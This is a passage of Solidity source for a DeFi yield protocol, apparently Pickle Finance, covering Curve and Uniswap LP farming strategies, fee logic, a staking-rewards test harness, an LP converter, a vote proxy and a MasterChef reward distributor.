IERC20(_token).balanceOf(address(crvLocker)); uint256 _net = _after.sub(_before); crvLocker.execute( _token, 0, abi.encodeWithSignature( "transfer(address,uint256)", msg.sender, _net ) ); return _net; } function balanceOf(address _gauge) public view returns (uint256) { return IERC20(_gauge).balanceOf(address(crvLocker)); } function withdrawAll(address _gauge, address _token) external returns (uint256) { require(strategies[msg.sender], "!strategy"); return withdraw(_gauge, _token, balanceOf(_gauge)); } function deposit(address _gauge, address _token) external { uint256 _balance = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeTransfer(address(crvLocker), _balance); _balance = IERC20(_token).balanceOf(address(crvLocker)); crvLocker.execute( _token, 0, abi.encodeWithSignature("approve(address,uint256)", _gauge, 0) ); crvLocker.execute( _token, 0, abi.encodeWithSignature( "approve(address,uint256)", _gauge, _balance ) ); crvLocker.execute( _gauge, 0, abi.encodeWithSignature("deposit(uint256)", _balance) ); } function harvest(address _gauge) external { require(strategies[msg.sender], "!strategy"); uint256 _before = IERC20(crv).balanceOf(address(crvLocker)); crvLocker.execute( mintr, 0, abi.encodeWithSignature("mint(address)", _gauge) ); uint256 _after = IERC20(crv).balanceOf(address(crvLocker)); uint256 _balance = _after.sub(_before); crvLocker.execute( crv, 0, abi.encodeWithSignature( "transfer(address,uint256)", msg.sender, _balance ) ); } function claimRewards() external { require(strategies[msg.sender], "!strategy"); uint256 _before = IERC20(snx).balanceOf(address(crvLocker)); crvLocker.execute(scrvGauge, 0, abi.encodeWithSignature("claim_rewards()")); uint256 _after = IERC20(snx).balanceOf(address(crvLocker)); uint256 _balance = _after.sub(_before); crvLocker.execute( snx, 0, abi.encodeWithSignature( "transfer(address,uint256)", msg.sender, _balance ) ); } } abstract contract StrategyBase { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Perfomance fees - start with 4.5% uint256 public performanceTreasuryFee = 450; uint256 public constant performanceTreasuryMax = 10000; uint256 public performanceDevFee = 0; uint256 public constant performanceDevMax = 10000; // Withdrawal fee 0.5% // - 0.325% to treasury // - 0.175% to dev fund uint256 public withdrawalTreasuryFee = 325; uint256 public constant withdrawalTreasuryMax = 100000; uint256 public withdrawalDevFundFee = 175; uint256 public constant withdrawalDevFundMax = 100000; // Tokens address public want; address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // User accounts address public governance; address public controller; address public strategist; address public timelock; // Dex address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor( address _want, address _governance, address _strategist, address _controller, address _timelock ) public { require(_want != address(0)); require(_governance != address(0)); require(_strategist != address(0)); require(_controller != address(0)); require(_timelock != address(0)); want = _want; governance = _governance; strategist = _strategist; controller = _controller; timelock = _timelock; } // **** Modifiers **** // modifier onlyBenevolent { require( msg.sender == tx.origin || msg.sender == governance || msg.sender == strategist ); _; } // **** Views **** // function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfPool() public virtual view returns (uint256); function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function getName() external virtual pure returns (string memory); // **** Setters **** // function setWithdrawalDevFundFee(uint256 _withdrawalDevFundFee) external { require(msg.sender == timelock, "!timelock"); withdrawalDevFundFee = _withdrawalDevFundFee; } function setWithdrawalTreasuryFee(uint256 _withdrawalTreasuryFee) external { require(msg.sender == timelock, "!timelock"); withdrawalTreasuryFee = _withdrawalTreasuryFee; } function setPerformanceDevFee(uint256 _performanceDevFee) external { require(msg.sender == timelock, "!timelock"); performanceDevFee = _performanceDevFee; } function setPerformanceTreasuryFee(uint256 _performanceTreasuryFee) external { require(msg.sender == timelock, "!timelock"); performanceTreasuryFee = _performanceTreasuryFee; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) external { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } // **** State mutations **** // function deposit() public virtual; // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a jar withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _amount = _withdrawSome(_amount.sub(_balance)); _amount = _amount.add(_balance); } uint256 _feeDev = _amount.mul(withdrawalDevFundFee).div( withdrawalDevFundMax ); IERC20(want).safeTransfer(IController(controller).devfund(), _feeDev); uint256 _feeTreasury = _amount.mul(withdrawalTreasuryFee).div( withdrawalTreasuryMax ); IERC20(want).safeTransfer( IController(controller).treasury(), _feeTreasury ); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_jar, _amount.sub(_feeDev).sub(_feeTreasury)); } // Withdraw funds, used to swap between strategies function withdrawForSwap(uint256 _amount) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawSome(_amount); balance = IERC20(want).balanceOf(address(this)); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); IERC20(want).safeTransfer(_jar, balance); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawAll(); balance = IERC20(want).balanceOf(address(this)); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_jar, balance); } function _withdrawAll() internal { _withdrawSome(balanceOfPool()); } function _withdrawSome(uint256 _amount) internal virtual returns (uint256); function harvest() public virtual; // **** Emergency functions **** function execute(address _target, bytes memory _data) public payable returns (bytes memory response) { require(msg.sender == timelock, "!timelock"); require(_target != address(0), "!target"); // call contract in current context assembly { let succeeded := delegatecall( sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0 ) let size := returndatasize() response := mload(0x40) mstore( 0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))) ) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } } // **** Internal functions **** function _swapUniswap( address _from, address _to, uint256 _amount ) internal { require(_to != address(0)); // Swap with uniswap IERC20(_from).safeApprove(univ2Router2, 0); IERC20(_from).safeApprove(univ2Router2, _amount); address[] memory path; if (_from == weth || _to == weth) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; } UniswapRouterV2(univ2Router2).swapExactTokensForTokens( _amount, 0, path, address(this), now.add(60) ); } function _distributePerformanceFeesAndDeposit() internal { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { // Treasury fees IERC20(want).safeTransfer( IController(controller).treasury(), _want.mul(performanceTreasuryFee).div(performanceTreasuryMax) ); // Performance fee IERC20(want).safeTransfer( IController(controller).devfund(), _want.mul(performanceDevFee).div(performanceDevMax) ); deposit(); } } } abstract contract StrategyCurveBase is StrategyBase { // curve dao address public gauge; address public curve; address public mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; // stablecoins address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; // bitcoins address public wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; address public renbtc = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D; // rewards address public crv = 0xD533a949740bb3306d119CC777fa900bA034cd52; // How much CRV tokens to keep uint256 public keepCRV = 0; uint256 public keepCRVMax = 10000; constructor( address _curve, address _gauge, address _want, address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(_want, _governance, _strategist, _controller, _timelock) { curve = _curve; gauge = _gauge; } // **** Getters **** function balanceOfPool() public override view returns (uint256) { return ICurveGauge(gauge).balanceOf(address(this)); } function getHarvestable() external returns (uint256) { return ICurveGauge(gauge).claimable_tokens(address(this)); } function getMostPremium() public virtual view returns (address, uint256); // **** Setters **** function setKeepCRV(uint256 _keepCRV) external { require(msg.sender == governance, "!governance"); keepCRV = _keepCRV; } // **** State Mutation functions **** function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(gauge, 0); IERC20(want).safeApprove(gauge, _want); ICurveGauge(gauge).deposit(_want); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { ICurveGauge(gauge).withdraw(_amount); return _amount; } } abstract contract StrategyStakingRewardsBase is StrategyBase { address public rewards; // **** Getters **** constructor( address _rewards, address _want, address _governance, address _strategist, address _controller, address _timelock ) public StrategyBase(_want, _governance, _strategist, _controller, _timelock) { rewards = _rewards; } function balanceOfPool() public override view returns (uint256) { return IStakingRewards(rewards).balanceOf(address(this)); } function getHarvestable() external view returns (uint256) { return IStakingRewards(rewards).earned(address(this)); } // **** Setters **** function deposit() public override { uint256 _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(rewards, 0); IERC20(want).safeApprove(rewards, _want); IStakingRewards(rewards).stake(_want); } } function _withdrawSome(uint256 _amount) internal override returns (uint256) { IStakingRewards(rewards).withdraw(_amount); return _amount; } } abstract contract StrategyUniFarmBase is StrategyStakingRewardsBase { // Token addresses address public uni = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; // WETH/<token1> pair address public token1; // How much UNI tokens to keep? uint256 public keepUNI = 0; uint256 public constant keepUNIMax = 10000; constructor( address _token1, address _rewards, address _lp, address _governance, address _strategist, address _controller, address _timelock ) public StrategyStakingRewardsBase( _rewards, _lp, _governance, _strategist, _controller, _timelock ) { token1 = _token1; } // **** Setters **** function setKeepUNI(uint256 _keepUNI) external { require(msg.sender == timelock, "!timelock"); keepUNI = _keepUNI; } // **** State Mutations **** function harvest() public override onlyBenevolent { // Anyone can harvest it at any given time. // I understand the possibility of being frontrun // But ETH is a dark forest, and I wanna see how this plays out // i.e. will be be heavily frontrunned? // if so, a new strategy will be deployed. // Collects UNI tokens IStakingRewards(rewards).getReward(); uint256 _uni = IERC20(uni).balanceOf(address(this)); if (_uni > 0) { // 10% is locked up for future gov uint256 _keepUNI = _uni.mul(keepUNI).div(keepUNIMax); IERC20(uni).safeTransfer( IController(controller).treasury(), _keepUNI ); _swapUniswap(uni, weth, _uni.sub(_keepUNI)); } // Swap half WETH for DAI uint256 _weth = IERC20(weth).balanceOf(address(this)); if (_weth > 0) { _swapUniswap(weth, token1, _weth.div(2)); } // Adds in liquidity for ETH/DAI _weth = IERC20(weth).balanceOf(address(this)); uint256 _token1 = IERC20(token1).balanceOf(address(this)); if (_weth > 0 && _token1 > 0) { IERC20(weth).safeApprove(univ2Router2, 0); IERC20(weth).safeApprove(univ2Router2, _weth); IERC20(token1).safeApprove(univ2Router2, 0); IERC20(token1).safeApprove(univ2Router2, _token1); UniswapRouterV2(univ2Router2).addLiquidity( weth, token1, _weth, _token1, 0, 0, address(this), now + 60 ); // Donates DUST IERC20(weth).transfer( IController(controller).treasury(), IERC20(weth).balanceOf(address(this)) ); IERC20(token1).safeTransfer( IController(controller).treasury(), IERC20(token1).balanceOf(address(this)) ); } // We want to get back UNI LP tokens _distributePerformanceFeesAndDeposit(); } } contract StrategyUniEthDaiLpV4 is StrategyUniFarmBase { // Token addresses address public uni_rewards = 0xa1484C3aa22a66C62b77E0AE78E15258bd0cB711; address public uni_eth_dai_lp = 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11; address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyUniFarmBase( dai, uni_rewards, uni_eth_dai_lp, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getName() external override pure returns (string memory) { return "StrategyUniEthDaiLpV4"; } } contract StrategyUniEthUsdcLpV4 is StrategyUniFarmBase { // Token addresses address public uni_rewards = 0x7FBa4B8Dc5E7616e59622806932DBea72537A56b; address public uni_eth_usdc_lp = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc; address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyUniFarmBase( usdc, uni_rewards, uni_eth_usdc_lp, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getName() external override pure returns (string memory) { return "StrategyUniEthUsdcLpV4"; } } contract StrategyUniEthUsdtLpV4 is StrategyUniFarmBase { // Token addresses address public uni_rewards = 0x6C3e4cb2E96B01F4b866965A91ed4437839A121a; address public uni_eth_usdt_lp = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852; address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyUniFarmBase( usdt, uni_rewards, uni_eth_usdt_lp, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getName() external override pure returns (string memory) { return "StrategyUniEthUsdtLpV4"; } } contract StrategyUniEthWBtcLpV2 is StrategyUniFarmBase { // Token addresses address public uni_rewards = 0xCA35e32e7926b96A9988f61d510E038108d8068e; address public uni_eth_wbtc_lp = 0xBb2b8038a1640196FbE3e38816F3e67Cba72D940; address public wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyUniFarmBase( wbtc, uni_rewards, uni_eth_wbtc_lp, _governance, _strategist, _controller, _timelock ) {} // **** Views **** function getName() external override pure returns (string memory) { return "StrategyUniEthWBtcLpV2"; } } interface Hevm { function warp(uint256) external; function roll(uint x) external; function store(address c, bytes32 loc, bytes32 val) external; } contract MockERC20 is ERC20 { constructor(string memory name, string memory symbol) public ERC20(name, symbol) {} function mint(address recipient, uint256 amount) public { _mint(recipient, amount); } } contract DSTest { event eventListener (address target, bool exact); event logs (bytes); event log_bytes32 (bytes32); event log_named_address (bytes32 key, address val); event log_named_bytes32 (bytes32 key, bytes32 val); event log_named_decimal_int (bytes32 key, int val, uint decimals); event log_named_decimal_uint (bytes32 key, uint val, uint decimals); event log_named_int (bytes32 key, int val); event log_named_uint (bytes32 key, uint val); event log_named_string (bytes32 key, string val); bool public IS_TEST; bool public failed; constructor() internal { IS_TEST = true; } function fail() internal { failed = true; } function expectEventsExact(address target) internal { emit eventListener(target, true); } modifier logs_gas() { uint startGas = gasleft(); _; uint endGas = gasleft(); emit log_named_uint("gas", startGas - endGas); } function assertTrue(bool condition) internal { if (!condition) { emit log_bytes32("Assertion failed"); fail(); } } function assertEq(address a, address b) internal { if (a != b) { emit log_bytes32("Error: Wrong `address' value"); emit log_named_address(" Expected", b); emit log_named_address(" Actual", a); fail(); } } function assertEq32(bytes32 a, bytes32 b) internal { assertEq(a, b); } function assertEq(bytes32 a, bytes32 b) internal { if (a != b) { emit log_bytes32("Error: Wrong `bytes32' value"); emit log_named_bytes32(" Expected", b); emit log_named_bytes32(" Actual", a); fail(); } } function assertEqDecimal(int a, int b, uint decimals) internal { if (a != b) { emit log_bytes32("Error: Wrong fixed-point decimal"); emit log_named_decimal_int(" Expected", b, decimals); emit log_named_decimal_int(" Actual", a, decimals); fail(); } } function assertEqDecimal(uint a, uint b, uint decimals) internal { if (a != b) { emit log_bytes32("Error: Wrong fixed-point decimal"); emit log_named_decimal_uint(" Expected", b, decimals); emit log_named_decimal_uint(" Actual", a, decimals); fail(); } } function assertEq(int a, int b) internal { if (a != b) { emit log_bytes32("Error: Wrong `int' value"); emit log_named_int(" Expected", b); emit log_named_int(" Actual", a); fail(); } } function assertEq(uint a, uint b) internal { if (a != b) { emit log_bytes32("Error: Wrong `uint' value"); emit log_named_uint(" Expected", b); emit log_named_uint(" Actual", a); fail(); } } function assertEq(string memory a, string memory b) internal { if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) { emit log_bytes32("Error: Wrong `string' value"); emit log_named_string(" Expected", b); emit log_named_string(" Actual", a); fail(); } } function assertEq0(bytes memory a, bytes memory b) internal { bool ok = true; if (a.length == b.length) { for (uint i = 0; i < a.length; i++) { if (a[i] != b[i]) { ok = false; } } } else { ok = false; } if (!ok) { emit log_bytes32("Error: Wrong `bytes' value"); emit log_named_bytes32(" Expected", "[cannot show `bytes' value]"); emit log_named_bytes32(" Actual", "[cannot show `bytes' value]"); fail(); } } } contract User { function execute( address target, uint256 value, string memory signature, bytes memory data ) public payable returns (bytes memory) { bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked( bytes4(keccak256(bytes(signature))), data ); } (bool success, bytes memory returnData) = target.call{value: value}( callData ); require(success, "!user-execute"); return returnData; } } contract StakngRewardsTest is DSTest { using SafeMath for uint256; MockERC20 stakingToken; MockERC20 rewardsToken; StakingRewards stakingRewards; address owner; Hevm hevm = Hevm(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { owner = address(this); stakingToken = new MockERC20("staking", "STAKE"); rewardsToken = new MockERC20("rewards", "RWD"); stakingRewards = new StakingRewards( owner, address(rewardsToken), address(stakingToken) ); } function test_staking() public { uint256 stakeAmount = 100 ether; uint256 rewardAmount = 100 ether; stakingToken.mint(owner, stakeAmount); rewardsToken.mint(owner, rewardAmount); stakingToken.approve(address(stakingRewards), stakeAmount); stakingRewards.stake(stakeAmount); // // Make sure nothing is earned uint256 _before = stakingRewards.earned(owner); assertEq(_before, 0); // Fast forward hevm.warp(block.timestamp + 1 days); // No funds until we actually supply funds uint256 _after = stakingRewards.earned(owner); assertEq(_after, _before); // Give rewards rewardsToken.transfer(address(stakingRewards), rewardAmount); stakingRewards.notifyRewardAmount(rewardAmount); uint256 _rateBefore = stakingRewards.getRewardForDuration(); assertTrue(_rateBefore > 0); // Fast forward _before = stakingRewards.earned(owner); hevm.warp(block.timestamp + 1 days); _after = stakingRewards.earned(owner); assertTrue(_after > _before); assertTrue(_after > 0); // Add more rewards, rate should increase rewardsToken.mint(owner, rewardAmount); rewardsToken.transfer(address(stakingRewards), rewardAmount); stakingRewards.notifyRewardAmount(rewardAmount); uint256 _rateAfter = stakingRewards.getRewardForDuration(); assertTrue(_rateAfter > _rateBefore); // Warp to period finish hevm.warp(stakingRewards.periodFinish() + 1 days); // Retrieve tokens stakingRewards.getReward(); _before = stakingRewards.earned(owner); hevm.warp(block.timestamp + 1 days); _after = stakingRewards.earned(owner); // Earn 0 after period finished assertEq(_before, 0); assertEq(_after, 0); } } contract UniCurveConverter { using SafeMath for uint256; using SafeERC20 for IERC20; UniswapRouterV2 public router = UniswapRouterV2( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Stablecoins address public constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address public constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51; // Wrapped stablecoins address public constant scrv = 0xC25a3A3b969415c80451098fa907EC722572917F; // Weth address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // susd v2 pool ICurveFi_4 public curve = ICurveFi_4( 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD ); // UNI LP -> Curve LP // Assume th function convert(address _lp, uint256 _amount) public { // Get LP Tokens IERC20(_lp).safeTransferFrom(msg.sender, address(this), _amount); // Get Uniswap pair IUniswapV2Pair fromPair = IUniswapV2Pair(_lp); // Only for WETH/<TOKEN> pairs if (!(fromPair.token0() == weth || fromPair.token1() == weth)) { revert("!eth-from"); } // Remove liquidity IERC20(_lp).safeApprove(address(router), 0); IERC20(_lp).safeApprove(address(router), _amount); router.removeLiquidity( fromPair.token0(), fromPair.token1(), _amount, 0, 0, address(this), now + 60 ); // Most premium stablecoin (address premiumStablecoin, ) = getMostPremium(); // Convert weth -> most premium stablecoin address[] memory path = new address[](2); path[0] = weth; path[1] = premiumStablecoin; IERC20(weth).safeApprove(address(router), 0); IERC20(weth).safeApprove(address(router), uint256(-1)); router.swapExactTokensForTokens( IERC20(weth).balanceOf(address(this)), 0, path, address(this), now + 60 ); // Convert the other asset into stablecoin if its not a stablecoin address _from = fromPair.token0() != weth ? fromPair.token0() : fromPair.token1(); if (_from != dai && _from != usdc && _from != usdt && _from != susd) { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = premiumStablecoin; IERC20(_from).safeApprove(address(router), 0); IERC20(_from).safeApprove(address(router), uint256(-1)); router.swapExactTokensForTokens( IERC20(_from).balanceOf(address(this)), 0, path, address(this), now + 60 ); } // Add liquidity to curve IERC20(dai).safeApprove(address(curve), 0); IERC20(dai).safeApprove(address(curve), uint256(-1)); IERC20(usdc).safeApprove(address(curve), 0); IERC20(usdc).safeApprove(address(curve), uint256(-1)); IERC20(usdt).safeApprove(address(curve), 0); IERC20(usdt).safeApprove(address(curve), uint256(-1)); IERC20(susd).safeApprove(address(curve), 0); IERC20(susd).safeApprove(address(curve), uint256(-1)); curve.add_liquidity( [ IERC20(dai).balanceOf(address(this)), IERC20(usdc).balanceOf(address(this)), IERC20(usdt).balanceOf(address(this)), IERC20(susd).balanceOf(address(this)) ], 0 ); // Sends token back to user IERC20(scrv).transfer( msg.sender, IERC20(scrv).balanceOf(address(this)) ); } function getMostPremium() public view returns (address, uint256) { uint256[] memory balances = new uint256[](4); balances[0] = ICurveFi_4(curve).balances(0); // DAI balances[1] = ICurveFi_4(curve).balances(1).mul(10**12); // USDC balances[2] = ICurveFi_4(curve).balances(2).mul(10**12); // USDT balances[3] = ICurveFi_4(curve).balances(3); // sUSD // DAI if ( balances[0] < balances[1] && balances[0] < balances[2] && balances[0] < balances[3] ) { return (dai, 0); } // USDC if ( balances[1] < balances[0] && balances[1] < balances[2] && balances[1] < balances[3] ) { return (usdc, 1); } // USDT if ( balances[2] < balances[0] && balances[2] < balances[1] && balances[2] < balances[3] ) { return (usdt, 2); } // SUSD if ( balances[3] < balances[0] && balances[3] < balances[1] && balances[3] < balances[2] ) { return (susd, 3); } // If they're somehow equal, we just want DAI return (dai, 0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface MasterChef { function userInfo(uint256, address) external view returns (uint256, uint256); } contract PickleVoteProxy { // ETH/PICKLE token IERC20 public constant votes = IERC20( 0xdc98556Ce24f007A5eF6dC1CE96322d65832A819 ); // Pickle's masterchef contract MasterChef public constant chef = MasterChef( 0xbD17B1ce622d73bD438b9E658acA5996dc394b0d ); // Pool 0 is the ETH/PICKLE pool uint256 public constant pool = uint256(0); // Using 9 decimals as we're square rooting the votes function decimals() external pure returns (uint8) { return uint8(9); } function name() external pure returns (string memory) { return "PICKLEs In The Citadel"; } function symbol() external pure returns (string memory) { return "PICKLE C"; } function totalSupply() external view returns (uint256) { return sqrt(votes.totalSupply()); } function balanceOf(address _voter) external view returns (uint256) { (uint256 _votes, ) = chef.userInfo(pool, _voter); return sqrt(_votes); } function sqrt(uint256 x) public pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } constructor() public {} } contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of PICKLEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accPicklePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accPicklePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. PICKLEs to distribute per block. uint256 lastRewardBlock; // Last block number that PICKLEs distribution occurs. uint256 accPicklePerShare; // Accumulated PICKLEs per share, times 1e12. See below. } // The PICKLE TOKEN! PickleToken public pickle; // Dev fund (2%, initially) uint256 public devFundDivRate = 50; // Dev address. address public devaddr; // Block number when bonus PICKLE period ends. uint256 public bonusEndBlock; // PICKLE tokens created per block. uint256 public picklePerBlock; // Bonus muliplier for early pickle makers. uint256 public constant BONUS_MULTIPLIER = 10; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when PICKLE mining starts. uint256 public startBlock; // Events event Recovered(address token, uint256 amount); event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( PickleToken _pickle, address _devaddr, uint256 _picklePerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { pickle = _pickle; devaddr = _devaddr; picklePerBlock = _picklePerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPicklePerShare: 0 }) ); } // Update the given pool's PICKLE allocation point. Can only be called by the owner. function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending PICKLEs on frontend. function pendingPickle(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accPicklePerShare = pool.accPicklePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier( pool.lastRewardBlock, block.number ); uint256 pickleReward = multiplier .mul(picklePerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); accPicklePerShare = accPicklePerShare.add( pickleReward.mul(1e12).div(lpSupply) ); } return user.amount.mul(accPicklePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 pickleReward = multiplier .mul(picklePerBlock) .mul(pool.allocPoint) .div(totalAllocPoint); pickle.mint(devaddr, pickleReward.div(devFundDivRate)); pickle.mint(address(this), pickleReward); pool.accPicklePerShare = pool.accPicklePerShare.add( pickleReward.mul(1e12).div(lpSupply) ); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for PICKLE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user .amount .mul(pool.accPicklePerShare) .div(1e12) .sub(user.rewardDebt); safePickleTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accPicklePerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accPicklePerShare).div(1e12).sub( user.rewardDebt ); safePickleTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accPicklePerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = 